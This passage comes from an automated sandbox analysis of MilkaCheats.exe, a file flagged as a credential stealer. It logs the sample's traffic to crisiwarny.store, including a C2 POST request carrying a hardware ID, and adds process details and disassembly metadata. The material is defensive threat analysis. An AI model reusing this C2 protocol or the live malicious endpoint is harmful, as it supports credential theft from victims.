2024-10-27 15:45:10 UTC	15331	OUT	Data Raw: ef 80 52 ef 6a b3 ae bf 59 90 87 5f 0f 55 82 b2 5b 9a 47 69 43 e7 a1 1c 1a 12 b4 88 cd ff c9 28 24 97 a1 82 2e 90 dc 48 b0 ca c9 df 33 c7 a5 a9 1f 13 75 46 57 2f ba 25 06 61 ba 82 be d6 30 c1 ca ee 19 9b 7a fb b6 75 c7 53 bf fe d4 d5 fe bd 2d c8 2e 7f 81 47 14 1d 79 33 21 e4 dd 08 ca eb d2 e8 a4 e5 1b 61 70 12 da ab 35 6d f4 59 75 8a 50 c0 c2 b7 0c ca cc c2 2e 4c 8d 13 f9 26 6a 17 ea db 2a 4d 8e b0 ec 4f bd 06 bc 7e 24 ec 8f e0 e7 18 a0 9b 0b 2d a3 18 9c b2 3c b4 0b 5f 7e 82 9a c7 c6 40 3e 95 c8 26 45 57 dd 45 db d1 b3 8d 00 0e 2b b5 8d 14 db 9d b2 8b a7 da 2a 38 5a 82 35 c0 42 bf d6 5f bc 72 d9 4f 3b ba ee f6 10 19 96 6f 80 30 78 bc 90 e2 e5 b7 2a ca f7 1a ec 75 67 76 ad bd 50 15 7a 6c ac 73 3f 2a fd 02 eb 08 52 75 56 03 9f ba 6e 9b b7 f1 cc 0f 6f d3 cd Data Ascii: RjY_U[GiC($.H3uFW/%a0zuS-.Gy3!ap5mYuP.L&jMO~$-<_~@>&EWE+8Z5B_rO;o0xugvPzls?RuVno
2024-10-27 15:45:10 UTC	15331	OUT	Data Raw: f5 e2 91 7e ff 24 8e 02 a5 34 57 b9 31 c1 c3 30 87 bf 99 cf 2a cb d1 57 61 35 87 91 a0 d6 fe ba a6 3d 74 e0 2a 2b 5f 95 ef 10 d3 ca 3e 3b 68 e5 3c ae 77 3a 45 1d aa fa 46 2e 81 2c 2b 65 30 b3 75 c6 d0 46 f5 14 19 99 e6 d0 46 45 8d f2 5c 33 61 4e ab 9b 76 fe d9 6f 7d 49 a8 36 89 e2 34 19 41 29 c3 bc 12 71 c8 bb 4c ae 0d 93 85 b6 c8 7c aa 14 02 22 76 45 81 84 a3 2c ce ba ff 18 91 dd 17 d3 1e 5a 8a 6b ae 0b c8 7f c5 40 e7 ec 52 2c ff 77 9c 94 fd 51 69 ed 9b 1c ed db f2 e9 01 b6 88 72 04 83 3c ff eb 22 ae 30 d9 8a 59 e3 dd 8f 52 dd d3 1f 52 24 dd a7 3b b5 cc 72 a8 cb 8a b4 af 7d a7 52 4e 60 fd c8 4c 29 2d 3a 4f 6c fa 56 de ad 1c 56 e8 a7 2d d9 ff 4e 98 39 31 bf 1d 90 9c 62 43 71 5f 2d 4e 85 0f fc eb 65 b0 67 f9 43 dd ec 8b d9 c8 f7 d2 8d 5e e1 2f 17 ab f5 66 Data Ascii: ~$4W10Wa5=t+_>;h<w:EF.,+e0uFFE\3aNvo}I64A)qL\|"vE,Zk@R,wQir<"0YRR$;r}RN`L)-:OlVV-N91bCq_-NegC^/f
2024-10-27 15:45:14 UTC	1023	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 15:45:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rkch9u6a5bii6q0mv5725rmov4; expires=Thu, 20 Feb 2025 09:31:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aiWyrWo0eb7JeoW3sUJQtTVGqZx4C3XX%2FITX%2FUbLjwqauha1ns%2F%2Fm83xslY9hywzxqEi4YVKXdpwTd0WlN6LyhMTuiGw1kBLxBD%2FSdKItMGzjU6QO1k0p%2BReW6KUyk%2FCG5jM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d93cfcadd07878a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1180&sent=225&recv=621&lost=0&retrans=0&sent_bytes=2839&recv_bytes=586995&delivery_rate=2601976&cwnd=235&unsent_bytes=0&cid=e6bc6b76df598ffe&ts=3432&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49748	172.67.170.64	443	6428	C:\Users\user\Desktop\MilkaCheats.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 15:45:14 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: crisiwarny.store
2024-10-27 15:45:14 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 35 35 37 34 33 34 30 36 32 35 26 6a 3d 26 68 77 69 64 3d 45 32 43 31 46 31 41 41 36 34 39 36 31 31 37 32 36 33 45 34 36 44 43 44 38 35 30 30 39 41 35 34 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--5574340625&j=&hwid=E2C1F1AA6496117263E46DCD85009A54
2024-10-27 15:45:15 UTC	1007	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 15:45:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s0f0dhdv313vvcr8gm3robjm74; expires=Thu, 20 Feb 2025 09:31:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vj0tNrmxoRAk8aFTmloygwppWx1T5RZzYLtfKVkLEQOHbFHwNnp2%2FIENC4DtuD16tfka7YBBzbXW1G03Rty5L%2BTn6tapPkuv3orYKfyb%2BbCJqDRADPbfE6ELa570mZodGr3M"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d93cfe3eca03587-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1193&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=987&delivery_rate=2280314&cwnd=251&unsent_bytes=0&cid=99a1b34407d3b916&ts=524&x=0"
2024-10-27 15:45:15 UTC	54	IN	Data Raw: 33 30 0d 0a 47 30 4d 4f 48 46 6a 78 53 43 5a 41 64 63 43 72 61 4c 58 77 75 43 68 59 31 71 55 2b 71 4c 4c 46 30 45 69 2b 4f 6b 4b 31 76 37 68 41 48 67 3d 3d 0d 0a Data Ascii: 30G0MOHFjxSCZAdcCraLXwuChY1qU+qLLF0Ei+OkK1v7hAHg==
2024-10-27 15:45:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:44:56
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\MilkaCheats.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\MilkaCheats.exe"
Imagebase:	0xc0000
File size:	536'576 bytes
MD5 hash:	906C60B268404ECDA308E2692A3AAAF8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:44:56
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\MilkaCheats.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\MilkaCheats.exe"
Imagebase:	0xc0000
File size:	536'576 bytes
MD5 hash:	906C60B268404ECDA308E2692A3AAAF8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1726270504.0000000001342000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1768149959.0000000001342000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:44:57
Start date:	27/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6232 -s 232
Imagebase:	0x450000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.2%
Total number of Nodes:	569
Total number of Limit Nodes:	15

Executed Functions

Function 000C59D6 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 141
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(static.lib), ref: 000C5AFD
VirtualProtect.KERNELBASE(00141038,000004E4,00000040,?), ref: 000C5B10
GetProcessHeap.KERNEL32(00000008,00000400), ref: 000C5B28
HeapAlloc.KERNEL32(00000000), ref: 000C5B2B
wsprintfA.USER32 ref: 000C5B3D
GetStdHandle.KERNEL32(000000F5,00000000,00000000,00000000,00000000), ref: 000C5B4D
WriteConsoleA.KERNEL32(00000000), ref: 000C5B54
GetProcessHeap.KERNEL32(00000000,00000000), ref: 000C5B5C
HeapFree.KERNEL32(00000000), ref: 000C5B5F

Part of subcall function 000C22BB: _strlen.LIBCMT ref: 000C22D3

Strings

static.lib, xrefs: 000C5AC3, 000C5AD0, 000C5AFC
Window1, xrefs: 000C5A05

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: Heap$Process$AllocConsoleDeleteFileFreeHandleProtectVirtualWrite_strlenwsprintf
String ID: Window1$static.lib
API String ID: 523815168-642987920
Opcode ID: 2e232f1c38f731e84ff32c25fdbf2a5720b689eaefe7596c2d86953878836518
Instruction ID: a8298945c7e73403d105cbcbf2f35244b42907d31810e89620a5efe6c0959a17
Opcode Fuzzy Hash: 2e232f1c38f731e84ff32c25fdbf2a5720b689eaefe7596c2d86953878836518
Instruction Fuzzy Hash: 6A4128716403406FE330AB61DC86FAF7798EF44B11F05452DFA05BB2D2DB74AC8586A1

Function 000E1228 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000E0EE1: CreateFileW.KERNELBASE(?,00000000,?,000E12D1,?,?,00000000,?,000E12D1,?,0000000C), ref: 000E0EFE

GetLastError.KERNEL32 ref: 000E133C
__dosmaperr.LIBCMT ref: 000E1343
GetFileType.KERNELBASE(00000000), ref: 000E134F
GetLastError.KERNEL32 ref: 000E1359
__dosmaperr.LIBCMT ref: 000E1362
CloseHandle.KERNEL32(00000000), ref: 000E1382
CloseHandle.KERNEL32(000DA86B), ref: 000E14CF
GetLastError.KERNEL32 ref: 000E1501
__dosmaperr.LIBCMT ref: 000E1508

Strings

H, xrefs: 000E148D

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 09e0cc7ad84376a2f9ee8186cc23e4bfe162bf24c85cc757b96463126ae53146
Instruction ID: 2b250a3bb6e2f6ba1880dd1da975bef681d06dbf5dde23a6bab955babe591fe8
Opcode Fuzzy Hash: 09e0cc7ad84376a2f9ee8186cc23e4bfe162bf24c85cc757b96463126ae53146
Instruction Fuzzy Hash: CBA12332A142949FCF199F68EC91BED7BB1AB46320F14015EF812AF3E2C7758952CB51

Function 000D6C97 Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000D63AA: GetConsoleOutputCP.KERNEL32(865EA617,00000000,00000000,00000000), ref: 000D640D

WriteFile.KERNEL32(?,00000000,?,000EDA30,00000000,0000000C,00000000,00000000,00000000,00000000,000EDA30,00000010,000CCBA0,00000000,00000000,00000000), ref: 000D6E00
GetLastError.KERNEL32 ref: 000D6E0A

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: c740cffccfca7a70decf9396611cf84b276280addc518a97fc266b4eae8e13b1
Instruction ID: 73851170bb5b94138e242562aa1c99f71b48c7a92cf163c96c086fc793894a52
Opcode Fuzzy Hash: c740cffccfca7a70decf9396611cf84b276280addc518a97fc266b4eae8e13b1
Instruction Fuzzy Hash: B5618F75D00349AEDF21CFA8C884AEEBBB9AF0A304F144196E850AB352D376D945CB70

Function 000D6862 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,00000000,?,000D6DE6,00000000,00000000,00000000,?,0000000C,00000000), ref: 000D68FE
GetLastError.KERNEL32(?,000D6DE6,00000000,00000000,00000000,?,0000000C,00000000,00000000,00000000,00000000,000EDA30,00000010,000CCBA0,00000000,00000000), ref: 000D6924

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 12e82836c2984419c817d67d2f0e4ffca2b307548a521f161c7c11d92c1a474d
Instruction ID: c86f80050f239872bb39c21c23e125c27749ebb7ff27fbda28b30580a61eb3ac
Opcode Fuzzy Hash: 12e82836c2984419c817d67d2f0e4ffca2b307548a521f161c7c11d92c1a474d
Instruction Fuzzy Hash: F2218D35A002199BDF15CF29DC90AEDB7B9EB4D301B1441AAEA46D7311DB31DE82CB64

Function 000D6085 Relevance: 2.6, APIs: 2, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE(00000000,00000000,CF830579,?,000D5F6C,00000000,CF830579,000ED9D0,0000000C,000D6028,000CBBC1,?), ref: 000D60DB
GetLastError.KERNEL32(?,000D5F6C,00000000,CF830579,000ED9D0,0000000C,000D6028,000CBBC1,?), ref: 000D60E5

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 38bf3c9ce77df6be327681917484391f57ef49817df30dd93a70f702d620aaa5
Instruction ID: c0f9081ba955da4bd718d249d381e8fa18ddf8323f2099088cf8fdee75f26886
Opcode Fuzzy Hash: 38bf3c9ce77df6be327681917484391f57ef49817df30dd93a70f702d620aaa5
Instruction Fuzzy Hash: 4C1129336003201AE6645674A846BBF7B894B82730F29411BF9188B3D3DB77998096F0

Function 000DA82C Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 000DA866

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: df35664125bcee942bbdcf641e23f3a11c6838a11d44c6808425e528eb912694
Instruction ID: 0130b9eb889c3846403d1088f0aa1e39af93db5a8fac3a13545a411418fe508e
Opcode Fuzzy Hash: df35664125bcee942bbdcf641e23f3a11c6838a11d44c6808425e528eb912694
Instruction Fuzzy Hash: 6F1103B1A0420AAFCB05DF58E94599A7BF5EF49304F05406AF809AB352DA70EE118B65

Function 000D8614 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,?,?,00000003,000CB4F2,?,000CB461,?,00000000,000CB670), ref: 000D8646

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d40529a67401b191264b9242efe1738f0a842b1749afef022a78819ab6d72a93
Instruction ID: c5fae73c44c1bda15d102d5d6932dfc22a39c2e0cdf78cb47a042986bc50fbf3
Opcode Fuzzy Hash: d40529a67401b191264b9242efe1738f0a842b1749afef022a78819ab6d72a93
Instruction Fuzzy Hash: 39E0ED316013205AEA712A219C11BAE378CAB817B0F158973AC55A6392CF20CD0087B4

Function 000E0EE1 Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,00000000,?,000E12D1,?,?,00000000,?,000E12D1,?,0000000C), ref: 000E0EFE

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 55e8fd548351fcf93d452e997c4b8dc89457dfb08ae087a1af75f8abb56c6ed7
Instruction ID: 0b0307b7c416feb99e73d3e278903726ad78f207ad38cef893f04eb32ef106ed
Opcode Fuzzy Hash: 55e8fd548351fcf93d452e997c4b8dc89457dfb08ae087a1af75f8abb56c6ed7
Instruction Fuzzy Hash: 6ED06C3200014DBBDF029F84DC46EDA3BAAFB48714F024040BA1866020C736E861AB90

Non-executed Functions

Function 00128933 Relevance: 72.9, Strings: 58, Instructions: 377COMMON

Download Yara Rule

Strings

s, xrefs: 00128B3E
e, xrefs: 00128BD8
8, xrefs: 001289BD
}, xrefs: 00128B30
8, xrefs: 001289E7
[, xrefs: 00128A26
E, xrefs: 00128AF8
y, xrefs: 00128B14
c, xrefs: 00128BAE
=, xrefs: 00128CF0
9, xrefs: 00128985
C, xrefs: 00128ACE
2, xrefs: 00128C25
W, xrefs: 00128A7A
@, xrefs: 0012893F
O, xrefs: 00128AB2
A, xrefs: 00128ADC
o, xrefs: 00128B92
q, xrefs: 00128B4C
Q, xrefs: 00128A6C
I, xrefs: 00128AA4
x, xrefs: 00128A3B
S, xrefs: 00128A5E
U, xrefs: 00128A88
/, xrefs: 00128A1F
-, xrefs: 00128977
4, xrefs: 00128EDA
a, xrefs: 00128BBC
Y, xrefs: 00128A34
i, xrefs: 00128B84
|, xrefs: 00128AD5
+, xrefs: 0012894D
(, xrefs: 00128C6B
g, xrefs: 00128BCA
G, xrefs: 00128AEA
K, xrefs: 00128A96
_, xrefs: 00128A42
B, xrefs: 00128BB5
3, xrefs: 001289F5
{, xrefs: 00128B06
\, xrefs: 00128B37
<, xrefs: 001289CB
w, xrefs: 00128B5A
9, xrefs: 00128CD4
;, xrefs: 00128CC6
|, xrefs: 00128A57
u, xrefs: 00128B68
H, xrefs: 00128B8B
>, xrefs: 00128CE9
], xrefs: 00128A50
k, xrefs: 00128B76
0, xrefs: 00128A11
?, xrefs: 001289A1
?, xrefs: 00128CE2
S, xrefs: 001289AF
m, xrefs: 00128BA0
1, xrefs: 00128969
M, xrefs: 00128AC0

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: ($+$-$/$0$1$2$3$4$8$8$9$9$;$<$=$>$?$?$@$A$B$C$E$G$H$I$K$M$O$Q$S$S$U$W$Y$[$\$]$_$a$c$e$g$i$k$m$o$q$s$u$w$x$y${$|$|$}
API String ID: 0-901420310
Opcode ID: 9ff95fa98a9c8fa0834cb8fa355381c427a5d401ca1c5a4a17797ec6589dbca1
Instruction ID: b5da1afea6ee4abb37875f2c75b8de69be8e98d241b9df737dd44b98ed3b5671
Opcode Fuzzy Hash: 9ff95fa98a9c8fa0834cb8fa355381c427a5d401ca1c5a4a17797ec6589dbca1
Instruction Fuzzy Hash: A42250219087E98DDB32C67C8C087DDBEA15B67324F0843D9D1E96B2D2C7B50B85CB66

Function 00128371 Relevance: 44.0, Strings: 35, Instructions: 288COMMON

Download Yara Rule

Strings

M, xrefs: 00128598
@, xrefs: 001284B1
H, xrefs: 001285C0
+, xrefs: 00128485
X, xrefs: 001284C1
%, xrefs: 001284AD
t, xrefs: 001285B0
), xrefs: 0012847D
3, xrefs: 00128465
1, xrefs: 0012845D
r, xrefs: 001285A8
A, xrefs: 001285C8
Y, xrefs: 001284BD
s, xrefs: 001283C3
/, xrefs: 00128495
!, xrefs: 0012849D
?, xrefs: 00128455
#, xrefs: 001284A5
E, xrefs: 001284A9
', xrefs: 001284B5
$, xrefs: 00128425
h, xrefs: 0012837D
[, xrefs: 001284C5
4, xrefs: 001283B5
5, xrefs: 0012846D
>, xrefs: 00128577
7, xrefs: 00128475
=, xrefs: 0012844D
-, xrefs: 0012848D
E, xrefs: 001285A0
G, xrefs: 001285B8
;, xrefs: 00128445
<, xrefs: 0012856E
9, xrefs: 0012843A
0, xrefs: 001286AC

Memory Dump Source

Source File: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID: !$#$$$%$'$)$+$-$/$0$1$3$4$5$7$9$;$<$=$>$?$@$A$E$E$G$H$M$X$Y$[$h$r$s$t
API String ID: 0-3672740722
Opcode ID: 4ae2ef22dd5cd9d85fad40d90f2d2a0374cb7241c5e71f4f93d0151e211f1b03
Instruction ID: 47ff10d35f9d31662f33744cf0156f3960a6821bd779658f5aecadf2a28918c5
Opcode Fuzzy Hash: 4ae2ef22dd5cd9d85fad40d90f2d2a0374cb7241c5e71f4f93d0151e211f1b03
Instruction Fuzzy Hash: EEE19221D087E98EDB26CA7C880839DBFB16B52314F1842DDD4E9AB3C3D7754A45CB62

